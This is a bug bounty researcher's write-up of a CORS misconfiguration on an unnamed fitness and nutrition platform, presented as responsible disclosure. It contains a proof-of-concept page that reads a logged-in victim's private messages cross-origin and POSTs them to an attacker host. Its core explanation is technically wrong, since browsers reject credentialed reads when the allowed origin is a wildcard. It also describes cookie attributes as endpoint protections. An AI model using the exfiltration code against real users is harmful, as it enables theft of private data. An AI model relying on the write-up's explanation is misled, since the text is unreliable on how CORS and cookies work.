My name is Montaser Mohsen, and I'm an independent security researcher and bug bounty hunter. I spend a large part of my time analyzing web applications, looking for security flaws that could potentially impact user privacy and platform security.

My main focus is on web vulnerabilities such as authentication flaws, insecure API implementations, and misconfigurations that may expose sensitive data. Through bug bounty programs, I try to responsibly report these issues so they can be fixed before they are abused.

The Target Platform

During one of my security assessments, I was testing a well-known online fitness and nutrition platform that allows users to track their diet, goals, and connect with friends.

The platform includes several social features such as:

  • Messaging between users
  • Social connections (friends list)
  • Personal health goals and progress reports

Because the application handles private user data and social interactions, ensuring proper security controls is essential.

For privacy reasons, the name of the platform will not be mentioned in this article.

Discovering the CORS Misconfiguration

While testing the application, I started analyzing the API responses and headers returned by the server.

During this process, I noticed something unusual in the HTTP response headers:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

This combination immediately raised a red flag.

Why is this dangerous?

The browser's Same-Origin Policy (SOP) normally prevents a website from reading responses from another domain.

However, when a server allows:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

it may allow any external website to send authenticated requests using the victim's cookies.

If sensitive endpoints are accessible, an attacker could potentially read private user data through a malicious webpage.

Testing the Session Endpoint

My first step was to check whether session information could be accessed directly.

I tested the following endpoint:

/api/auth/session

However, the application had implemented additional protections:

HttpOnly
Secure
SameSite=Lax

These protections prevented direct extraction of the session cookie through JavaScript.

So while the session cookie itself could not be stolen, I continued searching for other API endpoints that might return sensitive data.

Searching for Sensitive Endpoints

Instead of targeting authentication directly, I started enumerating additional endpoints used by the application.

After exploring the platform's network requests, I discovered several endpoints returning user-specific iformation:

/_next/data/<build-id>/en/messages.json
/_next/data/<build-id>/en/friends.json
/_next/data/<build-id>/en/goals.json

Each endpoint returned different types of data:

EndpointData Returned messages.json Private user messages friends.json friends list goals.json Personal fitness goals

These endpoints did not implement the same protection level as the session endpoint.

Building a Proof of Concept

To verify whether the CORS configuration could actually expose user data, I created a simple proof-of-concept page.

The idea was simple:

  1. A victim logs into the platform
  2. The victim visits a malicious webpage
  3. The malicious page sends a cross-origin request
  4. The server returns the response with the victim's cookies
  5. The attacker reads the response and exfiltrates the data

Below is the simplified PoC used during testing.

<!DOCTYPE html>
<html>
<head>
<title>CORS Exploit PoC</title>
</head>
<body> 
<h1>CORS Misconfiguration PoC</h1> 
<script>
fetch('https://target-site/_next/data/build-id/en/messages.json', {
method: 'GET',
credentials: 'include'
})
.then(response => response.json())
.then(data => {
document.getElementById('output').innerText =
JSON.stringify(data, null, 2);
fetch('https://attacker-server.com', {
method: 'POST',
body: JSON.stringify(data)
});
})
.catch(console.error);
</script>
<pre id="output"></pre>
</body>
</html>
When executed in a browser while the victim was logged in, the malicious page was able to retrieve and display the response data directly on the page.

What Data Was Exposed?

Through this technique, it was possible to retrieve several types of private user data:

Private Messages

The endpoint responsible for messages returned conversations between users.

This included:

  • Message content
  • Sender information
  • Conversation data

Friends List

The endpoint returned information about the victim's connections, including user identifiers and relationship data.

Personal Goals

Another endpoint returned user-specific health and fitness goals configured in the account.

While each endpoint returned different information, they all shared one issue:

they trusted the CORS configuration and returned authenticated data cross-origin.

Reporting the Issue

Following responsible disclosure practices, I reported the issue through the platform's bug bounty program.

In the report I explained that:

  • The session cookie itself could not be stolen
  • However, the CORS misconfiguration allowed cross-origin reading of sensitive user data
  • This could lead to privacy exposure through malicious websites

Initially, the report was marked as Not Applicable.

The review team stated that the impact needed to be demonstrated more clearly.

Follow-Up and Re-Evaluation

After requesting a re-evaluation, the security team asked for additional proof of concept material, including a detailed video demonstration.

Interestingly, while preparing a new demonstration video, I noticed something unexpected.

The previously exposed endpoints had been updated with stronger security protections:

HttpOnly
Secure
SameSite=Lax

This indicated that the platform had implemented additional security controls after the report was submitted.

Lessons Learned

This experience highlights several important lessons about web security.

CORS Misconfigurations Are Often Underestimated

Even when session cookies cannot be stolen, improperly configured CORS policies can still allow attackers to read sensitive authenticated data.

Sensitive APIs Must Enforce Proper Origin Validation

Endpoints that return user-specific data should never trust arbitrary origins.

Security Reports May Require Clear Demonstrations

Bug bounty programs often require strong proof-of-concept evidence before validating a vulnerability.

Providing clear demonstrations and reproducible steps is critical.

Final Thoughts

Cross-Origin Resource Sharing is a powerful browser feature designed to enable controlled communication between domains.

However, when misconfigured, it can break the browser's Same-Origin Policy and expose private user data.

Security researchers and developers alike should always verify that:

  • Only trusted origins are allowed
  • Credentials are not combined with wildcard origins
  • Sensitive APIs enforce strict authentication and origin validation

Even small configuration mistakes can have significant security implications.

If you're interested in web security, bug bounty hunting, or vulnerability research, feel free to follow my work as I continue exploring and reporting security issues responsibly.

Facebook: https://facebook.com/montasermohsen98 Twitter (X): https://x.com/Montaser_M98 LinkedIn: https://linkedin.com/in/montasermohsen98